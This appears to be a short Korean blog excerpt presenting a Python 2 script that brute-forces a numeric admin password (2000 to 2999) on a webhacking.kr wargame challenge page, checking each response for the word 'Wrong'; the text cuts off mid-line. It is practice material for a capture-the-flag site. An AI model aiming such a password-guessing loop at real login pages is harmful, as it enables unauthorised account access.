winhttp1 [Python] Http BruteForce 예제 import httplib import time headers = { 'Host':'webhacking.kr', 'Cookie':'PHPSESSID=사용자 쿠키값; notice=yes' } conn = httplib.HTTPConnection('webhacking.kr', 80) for i in range(2000, 3000): conn.request('GET', '/challenge/web/web-04/index.php?cid=admin&cpw=%s'%i,'', headers) #request argv[2] == body OK? r = conn.getresponse() res=r.read() # print res # time.sleep(1) if(not res.find('Wrong')+1): print.. 2013. 7. 31. 이전 1 다음 반응형